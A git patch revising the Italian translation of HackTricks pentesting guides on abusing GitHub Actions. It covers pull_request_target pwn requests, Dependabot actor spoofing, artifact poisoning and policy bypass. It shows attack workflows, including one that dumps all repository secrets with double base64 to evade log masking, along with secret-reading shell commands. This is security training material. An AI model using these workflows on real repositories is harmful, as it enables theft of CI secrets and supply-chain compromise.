From 9b3fa55f8461c32eab6b58535d4be37f825e79bc Mon Sep 17 00:00:00 2001 From: Translator Date: Mon, 29 Sep 2025 22:17:30 +0000 Subject: [PATCH] Translated ['', 'src/pentesting-cloud/azure-security/az-post-exploitatio --- .../abusing-github-actions/README.md | 204 ++++++++--------- .../gh-actions-context-script-injections.md | 46 ++-- .../basic-github-information.md | 208 +++++++++--------- .../az-azure-ai-foundry-post-exploitation.md | 48 ++-- .../gcp-vertex-ai-post-exploitation.md | 68 +++--- .../pentesting-cloud-methodology.md | 88 ++++---- 6 files changed, 331 insertions(+), 331 deletions(-) diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md index b088e2443..a5643466b 100644 --- a/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md +++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md @@ -1,4 +1,4 @@ -# Abuso di Github Actions +# Abusare di Github Actions {{#include ../../../banners/hacktricks-training.md}} @@ -16,25 +16,25 @@ The following tools are useful to find Github Action workflows and even find vul In questa pagina troverai: -- Un **riassunto di tutti gli impatti** che un attaccante può causare ottenendo accesso a una Github Action -- Diverse modalità per **ottenere accesso a un action**: -- Avere i **permessi** per creare l'action -- Abusare dei trigger legati ai **pull request** +- Un **sommario di tutti gli impatti** di un attacker che riesce ad accedere a una Github Action +- Diversi modi per **ottenere accesso a una Github Action**: +- Avere **permessi** per creare l'action +- Abusare dei trigger relativi ai **pull request** - Abusare di **altre tecniche di accesso esterno** - **Pivoting** da un repo già compromesso -- Infine, una sezione sulle **tecniche di post-exploitation per abusare di un action dall'interno** (per causare gli impatti menzionati) +- Infine, una sezione sulle **tecniche di post-exploitation per abusare di una action dall'interno** (causare gli impatti menzionati) -## Sommario degli impatti +## Riepilogo degli impatti -Per un'introduzione su [**Github Actions consulta le informazioni di base**](../basic-github-information.md#github-actions). +Per un'introduzione su [**Github Actions, consulta le informazioni di base**](../basic-github-information.md#github-actions). Se puoi **eseguire codice arbitrario in GitHub Actions** all'interno di un **repository**, potresti essere in grado di: -- **Rubare secrets** montati nella pipeline e **abusare dei privilegi della pipeline** per ottenere accesso non autorizzato a piattaforme esterne, come AWS e GCP. -- **Compromettere deployment** e altri **artifacts**. -- Se la pipeline effettua deploy o memorizza asset, potresti alterare il prodotto finale, abilitando un supply chain attack. -- **Eseguire codice in custom workers** per abusare della potenza di calcolo e pivotare verso altri sistemi. -- **Sovrascrivere il codice del repository**, a seconda dei permessi associati al `GITHUB_TOKEN`. +- Rubare secrets montati nella pipeline e abusare dei privilegi della pipeline per ottenere accesso non autorizzato a piattaforme esterne, come AWS e GCP. +- Compromettere deployments e altri artifacts. +- Se la pipeline deploya o immagazzina asset, potresti alterare il prodotto finale, abilitando un attacco alla supply chain. +- Eseguire codice in custom workers per abusare della potenza di calcolo e pivotare verso altri sistemi. +- Sovrascrivere il codice del repository, a seconda dei permessi associati con il `GITHUB_TOKEN`. ## GITHUB_TOKEN @@ -47,12 +47,12 @@ This token is the same one a **Github Application will use**, so it can access t > [!WARNING] > Github should release a [**flow**](https://github.com/github/roadmap/issues/74) that **allows cross-repository** access within GitHub, so a repo can access other internal repos using the `GITHUB_TOKEN`. -Puoi vedere i possibili **permessi** di questo token in: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token) +You can see the possible **permissions** of this token in: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token) -Nota che il token **scade dopo che il job è terminato**.\ -Questi token assomigliano a: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7` +Note that the token **expires after the job has completed**.\ +These tokens looks like this: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7` -Alcune cose interessanti che puoi fare con questo token: +Some interesting things you can do with this token: {{#tabs }} {{#tab name="Merge PR" }} @@ -91,7 +91,7 @@ https://api.github.com/repos///pulls \ {{#endtabs }} > [!CAUTION] -> Nota che in diverse occasioni potrai trovare **github user tokens inside Github Actions envs or in the secrets**. Questi tokens possono darti più privilegi sul repository e sull'organizzazione. +> Nota che in diverse occasioni potrai trovare **github user tokens inside Github Actions envs or in the secrets**. Questi token possono darti più privilegi sul repository e sull'organization.
@@ -144,29 +144,29 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ```
-È possibile verificare i permessi assegnati a un Github Token nei repository di altri utenti **controllando i log** delle actions: +È possibile verificare i permessi concessi a un Github Token nei repository di altri utenti **controllando i log** delle actions:
## Esecuzione consentita > [!NOTE] -> Questo sarebbe il modo più semplice per compromettere Github actions, poiché questo scenario presuppone che tu abbia accesso a **creare un nuovo repo nell'organizzazione**, oppure abbia **privilegi di scrittura su un repository**. +> Questo sarebbe il modo più semplice per compromettere Github actions, poiché in questo caso si presuppone che tu abbia accesso a **create a new repo in the organization**, o che tu abbia **write privileges over a repository**. > > Se ti trovi in questo scenario puoi semplicemente consultare i [Post Exploitation techniques](#post-exploitation-techniques-from-inside-an-action). -### Esecuzione dalla creazione del repository +### Esecuzione tramite creazione del repo -Se i membri di un'organizzazione possono **creare nuovi repos** e tu puoi eseguire github actions, puoi **creare un nuovo repo e rubare i secrets impostati a livello di organizzazione**. +Nel caso in cui i membri di un organization possano **create new repos** e tu possa eseguire github actions, puoi **create a new repo and steal the secrets set at organization level**. ### Esecuzione da un nuovo branch -Se puoi **creare un nuovo branch in un repository che contiene già una Github Action** configurata, puoi **modificarla**, **caricare** il contenuto e poi **eseguire quell'action dal nuovo branch**. In questo modo puoi **esfiltrare secrets a livello di repository e organizzazione** (ma devi sapere come si chiamano). +Se puoi **create a new branch in a repository that already contains a Github Action** configurato, puoi **modify** it, **upload** the content, e poi **execute that action from the new branch**. In questo modo puoi **exfiltrate repository and organization level secrets** (ma devi sapere come si chiamano). > [!WARNING] -> Any restriction implemented only inside workflow YAML (for example, `on: push: branches: [main]`, job conditionals, or manual gates) can be edited by collaborators. Without external enforcement (branch protections, protected environments, and protected tags), a contributor can retarget a workflow to run on their branch and abuse mounted secrets/permissions. +> Qualsiasi restrizione implementata solo all'interno del workflow YAML (per esempio, `on: push: branches: [main]`, job conditionals, or manual gates) può essere modificata dai collaboratori. Senza enforcement esterno (branch protections, protected environments, and protected tags), un contributor può retargetare un workflow per farlo girare sul proprio branch e abusare dei mounted secrets/permissions. -Puoi rendere l'action modificata eseguibile **manualmente,** quando viene **creata una PR** o quando viene **pushato del codice** (a seconda di quanto rumore vuoi fare): +Puoi rendere l'action modificata eseguibile **manualmente,** quando viene **creato un PR** o quando **viene pushato del codice** (a seconda di quanto vuoi essere rumoroso): ```yaml on: workflow_dispatch: # Launch manually @@ -183,44 +183,44 @@ branches: ## Esecuzione da fork > [!NOTE] -> Ci sono diversi trigger che potrebbero permettere a un attacker di **eseguire una Github Action di un altro repository**. Se quelle action triggerabili sono mal configurate, un attacker potrebbe riuscire a comprometterle. +> Esistono diversi trigger che potrebbero permettere a un attacker di **eseguire una Github Action di un altro repository**. Se queste azioni triggerabili sono configurate male, un attacker potrebbe riuscire a comprometterle. ### `pull_request` -Il workflow trigger **`pull_request`** eseguirà il workflow ogni volta che viene ricevuta una pull request con alcune eccezioni: di default, se è la **prima volta** che stai **collaborando**, qualche **maintainer** dovrà **approvare** la **run** del workflow: +Il workflow trigger **`pull_request`** eseguirà il workflow ogni volta che viene ricevuta una pull request con alcune eccezioni: per default, se è la **prima volta** che stai **collaborando**, alcuni **maintainer** dovranno **approvare** l'**esecuzione** del workflow:
> [!NOTE] -> Poiché la **limitazione di default** vale per i **contributor alla prima esperienza**, potresti contribuire **correggendo un bug/typo valido** e poi inviare **altre PR per abusare dei tuoi nuovi privilegi `pull_request`**. +> Poiché la **limitazione di default** riguarda i contributori alla **prima partecipazione**, potresti contribuire **correggendo un bug/typo valido** e poi inviare **altre PR per abusare dei nuovi `pull_request` privilegi**. > -> **Ho testato questo e non funziona**: ~~Un'altra opzione sarebbe creare un account con il nome di qualcuno che ha contribuito al progetto e cancellare il suo account.~~ +> **L'ho testato e non funziona**: ~~Un'altra opzione sarebbe creare un account con il nome di qualcuno che ha contribuito al progetto e cancellare il suo account.~~ -Inoltre, di default **vengono bloccati i permessi di scrittura** e **l'accesso ai secrets** al repository di destinazione come indicato nei [**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories): +Inoltre, per default **vengono impediti i permessi di scrittura** e **l'accesso ai secrets** del repository di destinazione come indicato nei [**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories): > With the exception of `GITHUB_TOKEN`, **secrets are not passed to the runner** when a workflow is triggered from a **forked** repository. The **`GITHUB_TOKEN` has read-only permissions** in pull requests **from forked repositories**. -Un attacker potrebbe modificare la definizione della Github Action per eseguire comandi arbitrari e aggiungere action arbitrarie. Tuttavia, non sarà in grado di rubare i secrets o sovrascrivere il repo a causa delle limitazioni menzionate. +Un attacker potrebbe modificare la definizione della Github Action per eseguire azioni arbitrarie e aggiungere azioni arbitrarie. Tuttavia, non sarà in grado di rubare secrets o sovrascrivere il repo a causa delle limitazioni menzionate. > [!CAUTION] -> **Sì, se l'attacker cambia nella PR la github action che verrà triggerata, la sua Github Action sarà quella usata e non quella del repo di origine!** +> **Sì, se l'attacker modifica nella PR la github action che verrà attivata, la sua Github Action sarà quella usata e non quella del repo di origine!** -Poiché l'attacker controlla anche il codice eseguito, anche se non ci sono secrets o permessi di scrittura sul `GITHUB_TOKEN`, un attacker potrebbe per esempio **uploadare artifacts maligni**. +Poiché l'attacker controlla anche il codice eseguito, anche se non ci sono secrets o permessi di scrittura sul `GITHUB_TOKEN`, un attacker potrebbe ad esempio **caricare artefatti malevoli**. ### **`pull_request_target`** -Il workflow trigger **`pull_request_target`** ha **permessi di scrittura** sul repository di destinazione e **accesso ai secrets** (e non richiede approvazione). +Il workflow trigger **`pull_request_target`** ha **permessi di scrittura** sul repository di destinazione e **accesso ai secrets** (e non richiede autorizzazione). -Nota che il workflow trigger **`pull_request_target`** **gira nel contesto base** e non in quello fornito dalla PR (per **non eseguire codice non affidabile**). Per maggiori dettagli su `pull_request_target` [**check the docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\ -Inoltre, per informazioni su questo uso specifico pericoloso consulta questo [**github blog post**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/). +Nota che il workflow trigger **`pull_request_target`** **gira nel contesto base** e non in quello fornito dalla PR (per **non eseguire codice non attendibile**). Per maggiori info su `pull_request_target` [**check the docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\ +Inoltre, per maggiori dettagli su questo uso particolarmente pericoloso controlla questo [**github blog post**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/). -Potrebbe sembrare che, dato che il **workflow eseguito** è quello definito nella **base** e non in quello della PR, sia **sicuro** usare **`pull_request_target`**, ma ci sono **alcuni casi in cui non lo è**. +Potrebbe sembrare che, dato che il **workflow eseguito** è quello definito nella **base** e **non nella PR**, sia **sicuro** usare **`pull_request_target`**, ma ci sono **alcuni casi in cui non lo è**. E questo avrà **accesso ai secrets**. ### `workflow_run` -Il trigger [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) permette di eseguire un workflow da un altro quando questo è `completed`, `requested` o `in_progress`. +The [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) trigger allows to run a workflow from a different one when it's `completed`, `requested` or `in_progress`. In questo esempio, un workflow è configurato per essere eseguito dopo che il workflow separato "Run Tests" è completato: ```yaml @@ -232,27 +232,27 @@ types: ``` Moreover, according to the docs: The workflow started by the `workflow_run` event is able to **access secrets and write tokens, even if the previous workflow was not**. -Questo tipo di workflow può essere attaccato se dipende da un **workflow** che può essere **triggered** da un utente esterno tramite **`pull_request`** o **`pull_request_target`**. Un paio di esempi vulnerabili possono essere [**trovati in questo blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability). Il primo consiste nel workflow attivato da **`workflow_run`** che scarica il codice dell'attaccante: `${{ github.event.pull_request.head.sha }}`. -Il secondo consiste nel **passare** un **artifact** dal codice **untrusted** al workflow **`workflow_run`** e usare il contenuto di questo artifact in modo che lo renda **vulnerable to RCE**. +Questo tipo di workflow può essere attaccato se dipende da un **workflow** che può essere **triggered** da un utente esterno tramite **`pull_request`** o **`pull_request_target`**. Un paio di esempi vulnerabili possono essere [**found this blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** Il primo consiste nel workflow triggerato da **`workflow_run`** che scarica il codice dell'attaccante: `${{ github.event.pull_request.head.sha }}`\ +Il secondo consiste nel **passare** un **artifact** dal codice **untrusted** al workflow **`workflow_run`** e usare il contenuto di questo artifact in modo da renderlo **vulnerabile a RCE**. ### `workflow_call` TODO -TODO: Verificare se quando eseguito da un `pull_request` il codice usato/scaricato è quello dell'origin o del forked PR +TODO: Check if when executed from a pull_request the used/downloaded code if the one from the origin or from the forked PR -## Abuso delle esecuzioni da fork +## Abusing Forked Execution -Abbiamo menzionato tutti i modi in cui un attaccante esterno può riuscire a far eseguire un github workflow; ora vediamo come queste esecuzioni, se configurate in modo errato, possano essere abusate: +Abbiamo menzionato tutti i modi in cui un attaccante esterno potrebbe fare in modo che un GitHub workflow venga eseguito; ora vediamo come queste esecuzioni, se male configurate, possano essere abusate: -### Esecuzione di checkout non affidabile +### Untrusted checkout execution Nel caso di **`pull_request`**, il workflow verrà eseguito nel **contesto della PR** (quindi eseguirà il **codice maligno della PR**), ma qualcuno deve **autorizzarlo prima** e verrà eseguito con alcune [limitazioni](#pull_request). -Nel caso di un workflow che usa **`pull_request_target` or `workflow_run`** e che dipende da un workflow che può essere triggerato da **`pull_request_target` o `pull_request`**, verrà eseguito il codice del repo originale, quindi **l'attaccante non può controllare il codice eseguito**. +Nel caso di un workflow che utilizza **`pull_request_target` or `workflow_run`** e che dipende da un workflow che può essere triggerato da **`pull_request_target` o `pull_request`**, verrà eseguito il codice del repo originale, quindi **l'attaccante non può controllare il codice eseguito**. > [!CAUTION] -> Tuttavia, se l'**action** ha un **explicit PR checkout** che **prende il codice dalla PR** (e non dalla base), userà il codice controllato dall'attaccante. Per esempio (controlla la linea 12 dove viene scaricato il codice della PR): +> Tuttavia, se l'**action** ha un **explicit PR checkout** che andrà a **prendere il codice dalla PR** (e non dal base), userà il codice controllato dall'attaccante. Per esempio (controlla la linea 12 dove il codice della PR viene scaricato): 
# INSECURE. Provided as an example only.
 on:
@@ -285,11 +285,11 @@ Thank you!
 Il codice potenzialmente **untrusted viene eseguito durante `npm install` o `npm build`** poiché gli script di build e i **packages** referenziati sono controllati dall'autore della PR.
 
 > [!WARNING]
-> Un github dork per cercare action vulnerabili è: `event.pull_request pull_request_target extension:yml`; tuttavia, ci sono diversi modi per configurare i job in modo sicuro anche se l'action è configurata in modo insicuro (ad esempio usando condizionali su chi è l'actor che genera la PR).
+> A github dork to search for vulnerable actions is: `event.pull_request pull_request_target extension:yml` however, there are different ways to configure the jobs to be executed securely even if the action is configured insecurely (like using conditionals about who is the actor generating the PR).
 
 ### Context Script Injections 
 
-Nota che esistono certi [**github contexts**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) i cui valori sono **controllati** dall'**utente** che crea la PR. Se la github action usa quei **dati per eseguire qualcosa**, ciò potrebbe portare a **arbitrary code execution:**
+Nota che esistono certi [**github contexts**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) i cui valori sono **controllati** dall'**utente** che crea la PR. Se la github action sta usando quei **dati per eseguire qualsiasi cosa**, potrebbe portare a **arbitrary code execution:**
 
 {{#ref}}
 gh-actions-context-script-injections.md
@@ -297,17 +297,17 @@ gh-actions-context-script-injections.md
 
 ### **GITHUB_ENV Script Injection** 
 
-Dalla documentazione: puoi rendere una **variabile d'ambiente disponibile ai passaggi successivi** in un job del workflow definendo o aggiornando la variabile d'ambiente e scrivendola nel file di ambiente **`GITHUB_ENV`**.
+Dalla documentazione: You can make an **environment variable available to any subsequent steps** in a workflow job by defining or updating the environment variable and writing this to the **`GITHUB_ENV`** environment file.
 
-Se un attaccante potesse **iniettare qualsiasi valore** in questa variabile di ambiente, potrebbe inserire variabili d'ambiente che potrebbero eseguire codice nei passaggi successivi come **LD_PRELOAD** o **NODE_OPTIONS**.
+Se un attaccante potesse **iniettare qualsiasi valore** dentro questa variabile **env**, potrebbe iniettare variabili d'ambiente che possono eseguire codice nelle step successive come **LD_PRELOAD** o **NODE_OPTIONS**.
 
-Per esempio ([**this**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) e [**this**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), immagina un workflow che si fida di un artifact caricato per memorizzarne il contenuto nella variabile di ambiente **`GITHUB_ENV`**. Un attaccante potrebbe caricare qualcosa del genere per comprometterlo:
+Per esempio ([**this**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) and [**this**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), immagina un workflow che si fida di un artifact caricato per memorizzarne il contenuto dentro la variabile **`GITHUB_ENV`**. Un attaccante potrebbe caricare qualcosa del genere per comprometterlo:
 
 

 
-### Dependabot e altri bot affidabili
+### Dependabot and other trusted bots
 
-Come indicato in [**this blog post**](https://boostsecurity.io/blog/weaponizing-dependabot-pwn-request-at-its-finest), molte organizzazioni hanno una Github Action che merge qualsiasi PR da `dependabot[bot]` come in:
+Come indicato in [**this blog post**](https://boostsecurity.io/blog/weaponizing-dependabot-pwn-request-at-its-finest), diverse organizzazioni hanno una GitHub Action che effettua il merge di qualsiasi PRR da `dependabot[bot]` come in:
 ```yaml
 on: pull_request_target
 jobs:
@@ -317,16 +317,16 @@ if: ${ { github.actor == 'dependabot[bot]' }}
 steps:
 - run: gh pr merge $ -d -m
 ```
-Questo è un problema perché il campo `github.actor` contiene l'utente che ha causato l'ultimo evento che ha attivato il workflow. E ci sono diversi modi per far sì che l'utente `dependabot[bot]` modifichi una PR. Per esempio:
+Questo è un problema perché il campo `github.actor` contiene l'utente che ha causato l'ultimo evento che ha attivato il workflow. Ci sono diversi modi per indurre l'utente `dependabot[bot]` a modificare una PR. Per esempio:
 
-- Fork del repository vittima
-- Aggiungi il payload malevolo alla tua copia
-- Abilita Dependabot sul tuo fork aggiungendo una dependency obsoleta. Dependabot creerà una branch che sistema la dependency con codice malevolo.
-- Apri una Pull Request al repository vittima da quella branch (la PR sarà creata dall'utente quindi non succederà ancora nulla)
-- Poi, l'attaccante ritorna alla PR iniziale che Dependabot ha aperto nel suo fork ed esegue `@dependabot recreate`
-- Successivamente, Dependabot esegue alcune azioni in quella branch, che modificano la PR sul repository vittima, il che rende `dependabot[bot]` l'actor dell'ultimo evento che ha attivato il workflow (e quindi il workflow viene eseguito).
+- Fare il fork del repository della vittima
+- Aggiungere il payload malevolo alla tua copia
+- Abilitare Dependabot sul tuo fork aggiungendo una dipendenza obsoleta. Dependabot creerà un branch che risolve la dipendenza con codice malevolo.
+- Aprire una Pull Request verso il repository della vittima da quel branch (la PR sarà creata dall'utente quindi ancora nulla accadrà)
+- Poi, l'attaccante torna alla PR iniziale che Dependabot ha aperto nel suo fork e esegue `@dependabot recreate`
+- Quindi, Dependabot esegue alcune azioni su quel branch, che modificano la PR nel repository della vittima, il che rende `dependabot[bot]` l'actor dell'ultimo evento che ha attivato il workflow (e quindi, il workflow viene eseguito).
 
-Proseguendo, cosa succede se, invece di un merge, la Github Action contenesse una command injection come in:
+Proseguendo, cosa succede se invece di eseguire il merge la Github Action contenesse una command injection come in:
 ```yaml
 on: pull_request_target
 jobs:
@@ -336,24 +336,24 @@ if: ${ { github.actor == 'dependabot[bot]' }}
 steps:
 - run: echo ${ { github.event.pull_request.head.ref }}
 ```
-Il post originale propone due opzioni per abusare di questo comportamento; quella descritta qui è la seconda:
+Well, il post del blog originale propone due opzioni per abusare di questo comportamento, essendo la seconda:
 
-- Forkare il repository della vittima e abilitare Dependabot con una dipendenza obsoleta.
-- Creare un nuovo branch con il codice malevolo di shell injection.
-- Cambiare il branch di default del repo su quello.
-- Creare una PR da questo branch verso il repository vittima.
+- Fare il fork del repository della vittima e abilitare Dependabot con una dipendenza obsoleta.
+- Creare un nuovo branch contenente il codice di shell injection maligno.
+- Cambiare il default branch del repo su quello.
+- Creare una PR da questo branch verso il repository della vittima.
 - Eseguire `@dependabot merge` nella PR che Dependabot ha aperto nel suo fork.
-- Dependabot unirà i suoi cambiamenti nel branch di default del tuo repository forkato, aggiornando la PR nel repository vittima, facendo ora sì che `dependabot[bot]` sia l'attore dell'ultimo evento che ha attivato il workflow e usando un nome di branch malevolo.
+- Dependabot unirà le sue modifiche nel default branch del tuo repository forkato, aggiornando la PR nel repository della vittima e rendendo `dependabot[bot]` l'attore dell'ultimo evento che ha attivato il workflow, usando un nome di branch maligno.
 
-### Github Actions di terze parti vulnerabili
+### Vulnerable Third Party Github Actions
 
 #### [dawidd6/action-download-artifact](https://github.com/dawidd6/action-download-artifact)
 
-Come menzionato in [**this blog post**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), questa Github Action permette di accedere ad artifact provenienti da workflow diversi e persino da altri repository.
+As mentioned in [**this blog post**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), questa Github Action permette di accedere ad artifacts da workflow diversi e persino da repository differenti.
 
-Il problema è che se il parametro **`path`** non è impostato, l'artifact viene estratto nella directory corrente e può sovrascrivere file che potrebbero essere poi utilizzati o anche eseguiti nel workflow. Pertanto, se l'Artifact è vulnerabile, un attaccante potrebbe abusarne per compromettere altri workflow che si fidano dell'Artifact.
+Il problema è che se il parametro **`path`** non è impostato, l'artifact viene estratto nella directory corrente e può sovrascrivere file che potrebbero essere poi usati o addirittura eseguiti nel workflow. Pertanto, se l'Artifact è vulnerabile, un attaccante potrebbe abusarne per compromettere altri workflow che si fidano dell'Artifact.
 
-Esempio di workflow vulnerabile:
+Example of vulnerable workflow:
 ```yaml
 on:
 workflow_run:
@@ -376,7 +376,7 @@ with:
 name: artifact
 path: ./script.py
 ```
-Questo può essere attaccato con il seguente workflow:
+Questo potrebbe essere attaccato con questo workflow:
 ```yaml
 name: "some workflow"
 on: pull_request
@@ -397,23 +397,23 @@ path: ./script.py
 
 ### Deleted Namespace Repo Hijacking
 
-Se un account cambia il suo nome, un altro utente potrebbe registrare un account con quel nome dopo un certo periodo. Se un repository aveva **meno di 100 stars prima del cambio di nome**, Github permetterà al nuovo utente registrato con lo stesso nome di creare un **repository with the same name** as the one deleted.
+Se un account cambia il suo nome, un altro utente potrebbe registrare un account con lo stesso nome dopo un certo periodo. Se una repository aveva **less than 100 stars previously to the change of nam**e, Github permetterà al nuovo utente registrato con lo stesso nome di creare una **repository with the same name** di quella cancellata.
 
 > [!CAUTION]
-> Quindi se un action sta usando un repo di un account inesistente, è ancora possibile che un attacker possa creare quell'account e compromise l'action.
+> Quindi se un action sta usando un repo di un account inesistente, è comunque possibile che un attacker possa creare quell'account e compromettere l'action.
 
-Se altri repository stavano usando **dependencies from this user repos**, an attacker will be able to hijack them Here you have a more complete explanation: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
+Se altre repository usavano **dependencies from this user repos**, un attacker sarà in grado di hijackarle. Qui trovi una spiegazione più completa: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
 
 ---
 
 ## Repo Pivoting
 
 > [!NOTE]
-> In questa sezione parleremo di tecniche che permetterebbero di **pivot from one repo to another** supponendo che abbiamo qualche tipo di accesso sul primo (vedi la sezione precedente).
+> In questa sezione parleremo delle tecniche che permettono di **pivot from one repo to another** supponendo di avere qualche tipo di accesso al primo (vedi la sezione precedente).
 
 ### Cache Poisoning
 
-Una cache viene mantenuta tra **wokflow runs in the same branch**. Questo significa che se un attacker **compromise** un **package** che viene poi memorizzato nella cache e **downloaded** ed eseguito da un **more privileged** workflow, sarà in grado di **compromise** anche quel workflow.
+Una cache viene mantenuta tra **wokflow runs in the same branch**. Ciò significa che se un attacker riesce a **compromise** un **package** che viene poi memorizzato nella cache e **downloaded** ed eseguito da un workflow **more privileged**, potrà **compromise** anche quel workflow.
 
 {{#ref}}
 gh-actions-cache-poisoning.md
@@ -421,7 +421,7 @@ gh-actions-cache-poisoning.md
 
 ### Artifact Poisoning
 
-I workflow possono usare **artifacts from other workflows and even repos**, se un attacker riesce a **compromise** il Github Action che **uploads an artifact** che viene poi utilizzato da un altro workflow, potrebbe **compromise the other workflows**:
+I workflow possono usare **artifacts from other workflows and even repos**; se un attacker riesce a **compromise** la Github Action che **uploads an artifact** che viene poi utilizzata da un altro workflow, potrebbe **compromise the other workflows**:
 
 {{#ref}}
 gh-actions-artifact-poisoning.md
@@ -433,9 +433,9 @@ gh-actions-artifact-poisoning.md
 
 ### Github Action Policies Bypass
 
-Come commentato in [**this blog post**](https://blog.yossarian.net/2025/06/11/github-actions-policies-dumb-bypass), anche se un repository o organization ha una policy che restringe l'uso di certe actions, un attacker potrebbe semplicemente fare download (`git clone`) di un action all'interno del workflow e poi referenziarlo come local action. Poiché le policies non influenzano i percorsi locali, **the action will be executed without any restriction.**
+Come commentato in [**this blog post**](https://blog.yossarian.net/2025/06/11/github-actions-policies-dumb-bypass), anche se una repository o organizzazione ha una policy che restringe l'uso di certe actions, un attacker potrebbe semplicemente clonare (`git clone`) un action dentro il workflow e poi referenziarlo come local action. Poiché le policies non influenzano i percorsi locali, **the action will be executed without any restriction.**
 
-Esempio:
+Example:
 ```yaml
 on: [push, pull_request]
 
@@ -458,7 +458,7 @@ path: gha-hazmat
 ```
 ### Accesso ad AWS e GCP via OIDC
 
-Check the following pages:
+Consulta le seguenti pagine:
 
 {{#ref}}
 ../../../pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md
@@ -468,11 +468,11 @@ Check the following pages:
 ../../../pentesting-cloud/gcp-security/gcp-basic-information/gcp-federation-abuse.md
 {{#endref}}
 
-### Accesso ai secrets 
+### Accessing secrets 
 
-Se stai iniettando contenuto in uno script, è interessante sapere come puoi accedere ai secrets:
+Se stai iniettando contenuto in uno script, è utile sapere come puoi accedere ai secrets:
 
-- Se il secret o token è impostato come **variabile d'ambiente**, può essere recuperato direttamente dall'ambiente usando **`printenv`**.
+- Se il secret o token è impostato come **environment variable**, può essere direttamente accessibile dall'ambiente usando **`printenv`**.
 
 

 
@@ -503,7 +503,7 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
 
 

 
-Ottieni reverse shell con secrets
+Ottieni una reverse shell usando secrets
 ```yaml
 name: revshell
 on:
@@ -526,15 +526,15 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
 ```
 

 
-- Se il secret è usato **direttamente in un'espressione**, lo script shell generato viene memorizzato **su disco** ed è accessibile.
+- Se il secret è usato **direttamente in un'espressione**, lo script shell generato viene memorizzato **on-disk** ed è accessibile.
 - ```bash
 cat /home/runner/work/_temp/*
 ```
-- Per una JavaScript action i secrets vengono inviati tramite environment variables
+- Per una action JavaScript i secrets vengono inviati tramite variabili d'ambiente
 - ```bash
 ps axe | grep node
 ```
-- Per una **custom action**, il rischio può variare a seconda di come un programma sta usando il secret che ha ottenuto dall'**argument**:
+- Per una **custom action**, il rischio può variare a seconda di come un programma usa il secret ottenuto dall'**argomento**:
 
 ```yaml
 uses: fakeaction/publish@v3
@@ -542,7 +542,7 @@ with:
 key: ${{ secrets.PUBLISH_KEY }}
 ```
 
-- Enumerare tutti i secrets tramite il secrets context (collaborator level). Un contributor con write access può modificare un workflow su qualsiasi branch per dumpare tutti i secrets del repository/org/environment. Usa double base64 per evadere il log masking di GitHub e decodifica localmente:
+- Enumerare tutti i secrets tramite il secrets context (livello collaborator). Un contributor con accesso in scrittura può modificare un workflow su qualsiasi branch per estrarre tutti i secrets del repository/org/environment. Usa doppio base64 per evadere il log masking di GitHub e decodifica localmente:
 
 ```yaml
 name: Steal secrets
@@ -564,15 +564,15 @@ Decodifica localmente:
 echo "ZXdv...Zz09" | base64 -d | base64 -d
 ```
 
-Suggerimento: per stealth durante i test, cripta prima di stampare (openssl è preinstallato sui GitHub-hosted runners).
+Suggerimento: per maggiore stealth durante i test, cifra prima di stampare (openssl è preinstallato sui GitHub-hosted runners).
 
 ### Abuso dei Self-hosted runners
 
-Il modo per scoprire quali **GitHub Actions vengono eseguite su infrastrutture non-GitHub** è cercare **`runs-on: self-hosted`** nella configurazione yaml delle GitHub Actions.
+Il modo per trovare quali **Github Actions vengono eseguite in infrastrutture non-github** è cercare **`runs-on: self-hosted`** nella configurazione yaml di Github Action.
 
-**Self-hosted** runners potrebbero avere accesso a **informazioni sensibili aggiuntive**, ad altri **sistemi di rete** (endpoint vulnerabili nella rete? metadata service?) oppure, anche se isolato e distrutto, **più di una action potrebbe essere eseguita contemporaneamente** e quella malevola potrebbe **rubare i secrets** dell'altra.
